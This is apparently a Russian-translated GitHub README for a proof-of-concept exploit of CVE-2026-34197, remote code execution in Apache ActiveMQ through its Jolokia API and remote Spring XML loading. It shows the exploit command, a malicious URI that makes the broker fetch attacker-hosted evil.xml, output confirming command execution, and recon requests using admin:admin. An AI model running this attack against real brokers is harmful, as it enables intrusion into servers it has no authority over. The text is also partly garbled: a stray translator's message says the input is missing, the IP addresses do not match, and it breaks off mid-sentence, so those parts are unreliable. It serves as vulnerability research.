lat-06/cve-2026-34197Доказательство концепции эксплуатации для CVE-2026-34197, демонстрирующее аутентифицированное удалённое выполнение кода в Apache ActiveMQ через мост Jolokia JMX-HTTP и внедрение Spring XML-бина.
Описание
Недостаточная проверка входных данных, неконтролируемая генерация кода (‘Code Injection’) уязвимость в Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic предоставляет мост Jolokia JMX-HTTP по адресу /api/jolokia/ в веб-консоли. Политика доступа Jolokia по умолчанию разрешает операции exec для всех MBean ActiveMQ (org.apache.activemq:*), включая BrokerService.addNetworkConnector(String) и BrokerService.addConnector(String). Прошедший аутентификацию злоумышленник может вызвать эти операции с помощью специально сформированного discovery URI, который заставляет параметр brokerConfig транспорта VM загрузить удалённый контекст приложения Spring XML с помощью ResourceXmlApplicationContext. Поскольку ResourceXmlApplicationContext из Spring создаёт все singleton-бины до того, как BrokerService проверит конфигурацию, происходит выполнение произвольного кода в JVM брокера через методы фабрики бинов, такие как Runtime.exec(). Эта проблема затрагивает Apache ActiveMQ Broker: до 5.19.4, с 6.0.0 до 6.2.3; Apache ActiveMQ All: до 5.19.4, с 6.0.0 до 6.2.3; Apache ActiveMQ: до 5.19.4, с 6.0.0 до 6.2.3. Пользователям рекомендуется обновиться до версии 5.19.4 или 6.2.3, в которой исправлена эта проблема.
Дополнительная информация: link
Github: link```bash ❯ docker compose up -d
Входной текст (INPUT) отсутствует — переводить нечего. Пожалуйста, укажите содержимое чанка 3, и я выполню перевод.```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
LHOST — это частный IP-адрес компьютера. Вы можете использовать ipconfig в Windows или ifconfig в Linux
Проверка RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE успешно выполнен, файл `blahblah.txt` был создан на целевой системе.
# Фаза анализа
## Динамический анализ```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
Журналы выполнения также подтвердили, что Jolokia была включена и доступна через веб-консоль ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Проверьте подключение```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
Это означает: